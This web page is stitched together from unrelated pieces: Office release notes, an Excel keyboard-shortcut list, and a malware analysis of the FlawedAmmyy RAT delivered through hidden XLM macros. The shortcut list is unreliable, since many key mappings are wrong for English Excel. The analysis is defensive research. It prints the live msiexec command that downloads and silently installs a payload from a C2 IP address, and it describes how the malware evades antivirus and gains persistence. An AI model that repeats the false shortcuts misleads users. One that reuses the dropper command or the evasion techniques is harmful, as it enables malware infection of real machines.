Notable fixes: We fixed an issue where the Categorize button in the ribbon was disabled.We fixed an issue where enterprise customers with group folders that were not implemented or not working, would result in Outlook displaying a "not responding" message. Excel Notable fixes: We fixed an issue where the chart trendline R-squared value (in the forced y-intercept case) was incorrect even though the LINEST function returns the correct value.We fixed an issue where the customized chart trendline formatting was not always being saved. Word Notable fixes: We fixed an issue where the option "Show bookmarks" would not display bookmarks.We fixed an issue where text with hyperlinks were not displaying if the option: "Show field codes instead of their values" was enabled. PowerPoint Notable fixes: We fixed an issue where hovering over the asterisk (*) symbol did not display the username and date of the last person to update the document.

Build 12810.20002 (April 17, 2020)

Excel Notable fixes: We fixed an issue where workbooks saved with a digital signature in Excel 2016 could have the signature invalidated when opening the workbook in the current version of Excel.This change fixes an issue where conditional formatting information was not being saved to XLSB files correctly.We fixed an issue where the Custom Error Bar box had narrow fields for the error values cells.We fixed an issue where the check box in form controls was shrinking when you selected Print or Print Preview.We fixed an issue where Application.Evaluate was not working for user-defined functions in some cases. Outlook Notable fixes: We fixed an issue where users were unable to add a personal contact group as a meeting attendee.We fixed an issue that was preventing Secure/Multipurpose Internet Mail Extensions default signing configuration from being enforced via group policy.We fixed an issue where delete rules for mailboxes other than the user’s primary one wouldn’t work.We fixed an issue where attachments would get dropped when an encrypted message was forwarded.We fixed an issue where meeting subjects wouldn’t display in Scheduling Assistant if the meeting was more than two months away.We fixed an issue where users were seeing message body truncation when forwarding large HTML messages. Project Notable fixes: We fixed an issue where Project was sometimes crashing when a user changed the board status field on a project that was connected to a SharePoint task list.We fixed an issue where Project was sometimes crashing when saving projects created with older versions of Project.We fixed an issue where when a user edited Predecessor/Successor data in Form view, an extra ProjectBeforeTaskChange would launch. OneNote Notable fixes: We fixed an issue where line breaks were being stored as vertical tabs. Read the full article

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Excel Total experts collect the most important function keys in Excel:

F1: Show Excel help

F2: Enter edit mode for active cell

F3: If there is a defined name, it shows the Paste Name dialog box.

F4: Repeat the last action. In addition, writing a formula allows you to switch between relative, absolute and mixed references.

F5: Displays the Go to dialog box.

F6: Move between the panels of a divided book.

F7: Displays the Spelling dialog box.

F8: Activate the Expand selection mode that allows you to increase the selected range using the arrow keys.

F9: Calculate the result of the formulas of all the sheets of the open books.

F10: Activate the menu bar.

F11: Creates a chart sheet with the selected cell range.

F12: Displays the Save As dialog box.

Most important keyboard shortcuts in Excel

Ctrl + A: Displays the Open dialog box.

Ctrl + B: Displays the Search dialog box.

Ctrl + C: Copy the selected cells.

Ctrl + D: Copy a formula to the right over the selected range.

Ctrl + E: Select all the cells in the current sheet.

Ctrl + G: Save the workbook.

Ctrl + I: Displays the Go to dialog box.

Ctrl + J: Copy a formula down over the selected range.

Ctrl + K: Applies italic formatting to selected text.

Ctrl + L: Displays the Replace dialog box.

Ctrl + N: Applies bold text to selected text.

Ctrl + P: Displays the Print dialog box.

Ctrl + R: Close the workbook.

Ctrl + S: Underlines the selected text.

Ctrl + T: Displays the Create Table dialog box.

Ctrl + U: New workbook.

Ctrl + V: Paste the contents of the clipboard.

Ctrl + X: Cut the selected cells.

Ctrl + Y: Redo the last undone action.

Ctrl + Z: Undo the last action.

Ctrl + 1: Displays the Format Cells dialog box.

Ctrl + 2: Apply bold formatting to selected text.

Ctrl + 3: Applies italic formatting to selected text.

Ctrl + 4: Underline the selected text.

Ctrl + 5: Apply the strikethrough effect to the text.

Ctrl + 6: Hide or show the objects on the sheet.

Ctrl + 8: Shows the outline symbols on the sheet.

Ctrl + 9: Hides the selected rows.

Ctrl + 0: Hides the selected columns.

Shortcuts with Ctrl and function keys

Ctrl + F1: Hide or show the Ribbon.

Ctrl + F2: Displays the Print dialog box.

Ctrl + F3: Displays the Name Manager.

Ctrl + F4: Close the current book window.

Ctrl + F5: Restores the current book window size.

Ctrl + F6: Move to the next open book.

Ctrl + F7: Move the book window when the window is not maximized.

Ctrl + F8: Change the size of the book window when the window is not maximized.

Ctrl + F9: Minimizes the current book window.

Ctrl + F10: Maximize the window of a minimized book.

Ctrl + F11: Insert a Microsoft Excel 4.0 Macros sheet

Ctrl + F12: Displays the Open dialog box.

Shortcuts with Shift and function keys

Shift + F2: Add or edit a cell comment.

Shift + F3: Displays the Insert Function dialog box. When editing a formula, it displays the Function Arguments dialog box.

Shift + F4: Execute the “Search next” command according to the search terms indicated previously.

Shift + F5: Displays the Search dialog box.

Shift + F6: Changes the focus between the sheet, the ribbon, the status bar and the task pane (if present).

Shift + F7: Displays the Reference task pane.

Shift + F8: Add another range of cells to the selection.

Shift + F9: Calculate the formulas of the current sheet.

Shift + F10: Displays the right click menu for selection.

Shift + F11: Insert a new sheet.

Shift + F12: Displays the Save As dialog box.

Shortcuts with Alt and function keys

Alt + F1: Insert a graph in the current sheet.

Alt + F2: Displays the Save As dialog box.

Alt + F4: Close Excel.

Alt + F8: Opens the Macro dialog box.

Alt + F10: Displays the “Selection and visibility” panel for shapes.

Alt + F11: Open the Visual Basic for Applications Editor.

Shortcuts with Ctrl + Shift

Ctrl + Shift + F3: Displays the Create names dialog box from the selection.

Ctrl + Shift + F6: Move to the previous open book.

Ctrl + Shift + F10: Activates the menu bar.

Ctrl + Shift + F12: Displays the Print dialog box.

Ctrl + Shift + F: Displays the Source tab of the Format Cells dialog box.

Ctrl + Shift + L: Enable or disable filters in a range.

Ctrl + Shift + O: Select cells with comments.

Ctrl + Shift + U: Expand the formula bar.

Ctrl + Shift + Enter: Enter a formula as a matrix formula.

Ctrl + Shift + Start: Extends the selection to the beginning of the sheet.

Ctrl + Shift + End: Extends the selection to the last cell used in the sheet.

Ctrl + Shift + Page Down: Add the following sheet to the sheet selection.

Ctrl + Shift + Page Up: Add the previous sheet to the sheet selection.

Ctrl + Shift + Direction key: Extends the selection to the last non-empty cell in the same direction as the key pressed.

Ctrl + Shift + Space: Select the current cell range or the entire sheet.

Ctrl + Shift + (: Shows hidden rows within the selected range.

Ctrl + Shift +): Shows hidden columns within the selected range.

Ctrl + Shift + !: Applies the Number format with two decimals.

Ctrl + Shift + #: Applies the Date format in the form dd-mmm-yy.

Ctrl + Shift + $: Applies the Currency format with two decimals.

Ctrl + Shift +%: Apply the format Percent without decimals.

Ctrl + Shift + /: Applies the Scientific notation format.

Ctrl + Shift +: Applies the Time format.

Ctrl + Shift + &: Applies a border to the cell.

Ctrl + Shift + -: Remove the edges of the cell.

Ctrl + Shift + ”: Copy the contents of the upper cell.

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SI-LAB captured a piece of the FlawedAmmyy malware that leverages undetected XLM macros as an Infection Vehicle to compromise user’s devices.

In February 2019, SI-LAB captured multiple samples of phishing campaigns using an Office Excel document carrying a malicious Excel 4.0 macro, also known as XLM macro, and used to download and execute a final backdoor called FlawedAmmyy Remote Access Trojan (RAT).

XLM macros have been released for more than 20 years and are often used to make macro viruses. Today, Microsoft is using VBA macros (Visual Basic for Applications) instead of Excel 4.0 macro technology. This leads to XLM macros not being well known to the public. This technology is stored in the Workbook OLE stream in Excel 97-2003 format which makes it very difficult to detect and parse by antivirus (AV) engines.

SI-LAB has observed that Threat Actor (TA) 505 is now spreading the infamous FlawedAmmyy remote control backdoor using an old technique that is evading AV detection. The threat is only detected later when an MSI file (Windows installer) drops and execute the first infection stage of the malware.

As usual, threat actors are leveraging malscam campaigns as an attack vector to distribute the RAT. This malware is not new and it was used in past waves by TA505, a group known for sending large-scale Dridex, Locky, and GlobeImposter campaigns, among others.

The RAT is based on a leaked source code of the Ammyy Admin remote desktop software, and its features include remote desktop control, file system manager, proxy support and audio chat.

This piece of malware gives attackers full access to the victim’s device, allowing them to steal files, credentials, collect screenshots and access the camera and microphone. It also provides a backdoor for an attacker to move laterally through the network, serving as a potential entry point for a major supply chain attack.

After the Excel document is opened (xls file), the content it displays will lure the user to execute malicious Excel 4.0 macro code.

Malicious XLM macro code is located within a hidden form to avoid the attention of the victims. The name of the hidden form is written in Russian language: Макрос1 — Macro 1, in English.

The macro makes several string concatenations and executes via a pivot msiexec.exeprocess. This is part of a giant list of Living off the Land (LOL) techniques that attackers employ to mask their activities from runtime endpoint security monitoring tools such as AVs.

msiexec.exe process downloads an MSI installer that drops the first stage of the malware. This executable is simply a downloader for the next stage the malware (wsus.exe — the FlawedAmmyy itself).

TA505 group is using now a new entity to sign its malware denominated “AlCOHOL LTD”, with the following email associated: NastasyaTurkina68@mail[.]ru.

The C2 server used by crooks is now offline. It was available at 195.123.209.169, a server geolocated in Latvia with ports 80 and 3389 opened. The first port is used to maintain communications between C2 and clients. The last one, an RDP service, is probably used by crooks to manage C2 server.

Users who receive emails with xls files attached should be aware as that files can be an undetected vehicle spreading any kind of malware.

The author behind these campaigns (TA505) has utilized several types of Microsoft Office file formats (.doc and .xlm) to evade antivirus detection and bypass spam filters as well.

Infection is dependent on the victim allowing the macro to run. Users should ensure that macros are disabled in their Microsoft Office applications.

For more details on this finding see the Technical Analysis below.

Technical Analysis

File name: patent-2019-02-20T093A283A05-1.xls MD5: d490573977cc6b42ba0b4325df953a7f SHA1: dacf34580c09f7b1e4b8ba02f3ab8b6be08d03ab Creation date: 2018-12-19 10:42:12 First submission in VT: 2019-02-19 23:16:29

During February 2019, SI-LAB has registered multiple samples of phishing campaigns using Microsoft Office documents, namely .xls and .doc versions, used to download and execute a final backdoor called Flawedammyy RAT.

This threat has been closely observed by researchers from Proofpoint that discovered the RAT used since the beginning of 2016 in targeted phishing campaigns as well as massive, multi-million message campaigns.

The Threat Actor (TA) behind these attacks is known as TA505, a group responsible for sending large-scale Dridex, Locky, and GlobeImposter campaigns, among others, over the last four years.

At first glance, we analyzed a .xls document with an XLM macro (Excel 4.0 macro) embedded that is not detectable by AV engines.

Figure 1: Malicious xls file with an embedded XLM macro not detected by Virus Total.

Over the last days, several waves are disseminating this malware via email with .xls and .doc Microsoft Office documents attached. Phishing is, in fact, the major attack vector to distribute threats this nature in-the-wild.

The xls sample was submitted onto the Virus Total but no detections were noted. However, by looking into the file strings it was possible to identify some suspicious instructions.

Figure 2: Suspicious strings hardcoded in the xls file.

The command highlighted in Figure 2 is an instruction responsible to download an MSI file from the C2 server (hxxp://195.123.209.169/control), geolocated in Latvia and with ports 80 and 3389 opened to the Internet.

Figure 3: [1] Suspicious Microsoft Office files and C2 server IP address; and [2], geolocation and C2 ports.

In detail, the xls file acts as a downloader/installer using the msiexec.exe process as a pivot to download; in a headless mode; the new malicious file (MSI). That file has inside it another file, the first stage of the malware itself. That malware is known as FlawedAmmyy RAT and was discovered by Proofpoint researchers in March 2018.

Let’s investigate the XLM macro inside the Excel file

At first glance, the xls file seems legitimate as it is not classified as suspicious on VT. Nonetheless, as shown, some interesting strings were identified.

No VBA macros were observed inside the document which immediately raised the suspicion that it could be a new threat.

Figure 4: No VBA macros were detected.

An important point to note in “Root Entry” is the version of the document “Microsoft Excel 97-2003“. So, we are facing a living off the land technique, probably, XLM macros — an old technology that makes harder its intent and detection.

Figure 5: Microsoft Excel 97-2003 version identified.

Next image presents when the file is opened. Notice that macros are disabled by default and the document trigger a message to the user enable the execution of macros.

Figure 6: XLS document and the request to enable macro execution.

As shown in Figure 6, this file has only a visible sheet, and probably, a hidden sheet is also part of this document where an XLM macro is embedded as well.

As observed below and according to Google Translate technology, it was possible to detect that the sheet name is defined in the Ukrainian language.

Figure 7: Language used by crooks to name the visible xls sheet.

A deeper dive

XLS is a Compound Document File (CDF or CF) or Object Linking and Embedding (OLE) File.OLE files are hierarchical data structures that have several storages and streams (in contrast to folders and files in an operating system).

Figure 8 below shows the structure of the xls file. In this file, the Workbook stream is interesting as it contains all the information related to that workbook such as the included sheets.

The structure of this stream is fully specified in Microsoft Office Excel 97-2007 – Binary File Format Specification. We can see that the malicious string is:

msiexec.exe RETURN=185 /i http://195.123.209.169/control /q ksw=’%TEMP%’

Figure 8: Suspicious string hardcoded in the Workbook structure of the xls file.

The msiexec.exe is one of several Living off the Land (LOL) techniques that crooks are using to mask suspicious activity from endpoint security tools such as antivirus. The Windows Installer technology (MSI) uses msiexec.exe for installing MSI and MSP packages.

See more about msiexec.exe and its parameters here.

Next, we’ll take a deeper look at the Workbook stream, which is in the BIFF8 format.

As it is depicted in Figure 9 (merge of 3 images), the msiexec command is found inside a Cell String (207h) record, part of the value of a formula.

Figure 9: Identification of the malicious string inside xls file (BIFF structure).

Now, we need to determine the sheet that contains this particular cell string. According to the XLM Spec, all information about a sheet such as its name, type, and stream position are kept within a BOUNDSHEET record (85h).

In Figure 10, we can see that this workbook has two BOUNDSHEET records; which means it has two sheets. However, one of them must be hidden as we can only see one sheet in Figure 6.

Figure 10: BOUNDSHEET records in the Workbook; representing two sheets.

Fig 11. Option flags in BOUNDSHEET record.

The first sheet starts at offset 0x017303 and the second one at offset 0x01781C. The cell formula that we are interested in is located in the hidden sheet.

We can unhide the sheet by either setting the hidden state to zero within the file or changing the setting through the Excel interface. It is interesting to note that the hidden state can also be set to 2; which is called very hidden state. Very hidden sheets cannot be unhidden through the Excel interface, they can only be toggled to visible via manual hex editing of the file. After unhiding the macro sheet, we can see the embedded macro clearly in the Excel GUI.

Figure 12: Hidden sheet with an XLM macro coded.

This macro is triggered when the document is opened; Auto_Open label points to cell A1.Next, the user is asked to enable active content, and then the msiexec and subsequent chain of events are automatically executed.

As mentioned earlier, XLM macros are an arcane technology that predates VBA (introduced in Excel 5.0).

By analyzing the macro code, it is only performed a concatenation process that results in a final string that will use to download an MSI file from the C2 server.

msiexec.exe RETURN=185 /i http://195.123.209.169/control /q ksw=’%TEMP%’

We can see that the concatenation process is executed step-by-step, and several system calls are performed.

Figure 13: Concatenation process that produces the final command to download the MSI installer/dropper.

In detail, the EXEC function can be used to create processes, and using the REGISTER and CALL functions, attackers can use XLM macros to access the Win32 API. Shellcode injection is a major risk associated with XLM macros, leading to hard to detect in-memory attacks and various types of exploits and zero-day viruses being launched on the target system.

HALT() function stops all macros from running. Use HALT instead of RETURN to prevent a macro from returning to the macro that called it.

See more about macro commands here.

Finally, we can observe that thee msiexec.exe is executed and the MSI file is downloaded from the C2 server.

Figure 14: msiexec.exe is executed and MSI malicious file is downloaded from the C2 server.

However, as already mentioned at the beginning of the technical analysis, SI-LAB team obtained two types of files, namely xls and doc archives. The doc file works on the same way, however, it holds a VBA macro that runs the entire process in order to build the command to download the MSI file from the malicious C2 server.

Another document used by TA505 to spread FlawedAmmyy (.doc)

File name: 68131_46_20190219.doc MD5: 4cc5de3d2bddd7c89311fccf3d1b51d9 SHA1: 1fcbac66183b2d7f4d81821a8f7210ce188f371b Creation time: 2019-02-19 22:57:00 First submition on VT: 2019-02-20 02:01:28

During this investigation, another sample was obtained. TA505 group has used .doc documents with embedded VBA macros to infect user’s devices as well.

Figure 15: Macro VBA detected in .doc document.

We can observe this document is a Microsoft Office Word created on February 19th.

Figure 16: File version and creation date.

As observed in Figure 17, the same image is presented in this version. Macros are also disabled, and a message is displayed to lure the victim to enable macros execution.

Figure 17: .doc file requesting macro execution.

In addition, when the macros are enabled a new process is promptly created; the msiexec.exe that downloads the MSI file from C2 server (similar to the xls version).

Let’s look at Figure 18, here another trick is used by crooks. When the doc file is executed, the file itself is closed if some error are triggered, or in contrast; the windows calculator.exeis opened in a well-succeeded execution.

Figure 18: msiexec.exe is executed in the .doc version.

The VBA code inside .doc file is presented in the following image (please, click to enlarge).

Figure 19: VBA macro embedded in doc file (click here to enlarge).

After the execution of the msiexec.exe command, the MSI installer/dropper is downloaded (this behavior is valid in both Office documents).

Figure 20: Network traffic when MSI dropper is downloaded.

Analyzing the MSI file – The installer/dropper of infamous FlawedAmmyy

File name: control MD5: c4463d6ae741d4fb789bd0895fafebee SHA1: c8866ca1012dfabf5ad131cfeea0036dacb433e6 Creation time: 2012-09-21 09:56:09 First submission on VT: 2019-02-19 23:26:41

Looking inside the MSI file, we observed that it has appended a binary — the first stage of the FlawedAmmy, the backdoor.

Figure 20: Files that are part of MSI. A new binary is observed.

File name: Binary._D7D112F049BA1A655B5D9A1D0702DEE5 MD5: 2944eca03bc13b0edf064a619ec41459 SHA1: 83d215861c562315bca60994a901e06fc7cfa1a7 Imphash: 2dd21d66e59c2ee91baf838835ceef17 Creation time: 2019-02-19 19:46:06 First submission on VT: 2019-02-20 01:28:44

It is important to note this threat is recent and was identified as FlawedAmmy backdoor. This is a important indicator to corroborate our suspicions. Keep going!

Figure 21: FlawedAmmyy backdoor detection.

To corroborate our findings, we can observe some strings which demonstrate that the threat is, in fact, the infamous malware. AMMY is a kind of string found and coded in FlawedAmmyy samples. Also, the process wsus.exe consists of the second stage initiated later to create persistence in a vulnerable device. Both were identified as presented in Figure 22 below.

Figure 22: IOCs of FlawedAmmyy RAT.

Another important detail is the digital certificate. We can observe that malware is signed with a new entity never seen before in TA505 activities: “ALCOHOL LTD”. This binary was signed on Tuesday, February 19th, 2019, and the next email is also associated:[email protected]; from a Russian provider.

Figure 23: Digital certificate associated with the malware.

Based on this email, we found some threads on Twitter.

#TA505 Korean #maldoc xls -> msiexec -> #FlawedAmmyy RAT?https://t.co/jys9xM76ZXhttps://t.co/uqYAPeWSNm pic.twitter.com/Uh0HW5IgzD

— nao_sec (@nao_sec) February 27, 2019

FlawedAmmyy is composed of two infection stages. The first one is a dropper responsible to allocates virtual memory to a new candidate, to unpack a second stage (wsus.exe – FlawedAmmyy itself) and also to execute it later in memory.

Continuing this analysis, it’s important to note that the first stage executes a scan in the target machine looking for some executables. It validates the presence of some consumer based AV solutions, and if one is found, it continues with a different path. If these executables are found the malware terminates its process.

Figure 24: RAT validates the presence of some consumer based AV solutions.

The full list of programs it is seeking is the following.

Figure 25: Customer-based AV solutions.

If none of the referenced AV is found, it will drop a temp file. This temp file is the Ammyy RAT encrypted file, which will be decrypted and renamed at a later stage (wsus.exe).

During malware analysis, we noticed that some entries to avoid sandboxes and Virtual Machines are also performed.

Figure 26: Malware exits if is running inside a virtual environment.

Meanwhile, the malware launches the second stage: wsus.exe. This binary has a special function: create persistence in the system.

We can observe that the first stage builds the wsus.exe IAT (in this case it is building the Kernel32.dll library).

Figure 27: First stage of RAT builts IAT and load some libraries (kernel32.dll this case).

Now, the second stage is completed. Next, it tries to delete Settings, Microsoft\Enc, AMMYY, Foundation, and Foundation1 directories, also following files: wmihost.exe,settings3.bin, wmites.exe, wsus.exe from different directories. Clear all the vestiges of another infection can be the threat author intention.

Figure 28: RAT deletes some files and directories.

Soon afterwards, the malware validates if the user is an administrator in order to create persistence in the system. This is done through the instruction push 1; uMode depicted below.

Figure 29: Malware checks if the user is the administrator.

If the user is an admin, a new service in Windows Services is created (foundation); see offset 0x402A6B. Otherwise, it adds a new task in the Windows Task Scheduler (see offset 0x402AE7). Next, the service is started and initiated at the system startup of the operating system.

Figure 30: New service called foundation is created.

Figure 31: Service foundation created. It will execute wsus.exe binary as a service at startup.

As shown above, if the user has not an admin role, then a task is created in Windows Task Scheduler; look at offsets 0x402917 and 0x402928.

Figure 32: New task is created in offsets 0x402917 and 0x402928.

Figure 32: New task created in Windows Task Scheduler by malware.

At this point, the malware is installed in the target machine and became persistent.

During its execution on the infected machine, it communicates with the C2 server. One of the packets that RAT sends to C2 is the following. This information is composed by the name of the computer, domain, privileges and more (basically the standard Ammyy protocol).

Figure 33: FlawedAmmyy sends a packet to C2 with information about the infected machine.

More indicators for the RAT are matching the strings from the wsus.exe executable.

Figure 34: IOCs of FlawedAmmyy RAT present in wsus.exe.

Conclusion

The infamous FlawedAmmyy is alive and is being used by TA505 group to infect user’s devices. It’s interesting to note that the group behind these malscan campaigns is spreading the malware through Microsoft Office files to circumvent either antivirus detection and spam filters.

As shown, old XLM macros are still living off the land technique used by attacks to mask their detection and intent.

Initial infections occur when macros are enabled in the target system. Therefore, always ensure that you disable macros in your Microsoft Office applications.

Figure 35: How to disable macros on Microsoft Word.

On the other hand, XLM macros are probably more difficult to analyze by security products in contrast to VBA macros.

Microsoft is now using the Antimalware Scanning Interface (AMSI) with Office 365 for scanning VBA macros. Since XLM macros have nothing to do with the VBA engine, we suspected that XLM could be used to circumvent AMSI.

As a final consideration, it is interesting to observe that technology from 1992 can be used to circumvent the most recent Office security features.

Further details, including Indicators of Compromise (IoCs), are reported in the analysis published by Pedro Tavares.

[SI-LAB] FlawedAmmyy Leveraging Undetected XLM Macros as an Infection Vehicle

About the author Pedro Tavares

Pedro Tavares is a professional in the field of information security working as an Ethical Hacker, Malware Analyst and also a Security Evangelist. He is also a founding member and Pentester at CSIRT.UBI and founder of the security computer blog seguranca–informatica.pt.

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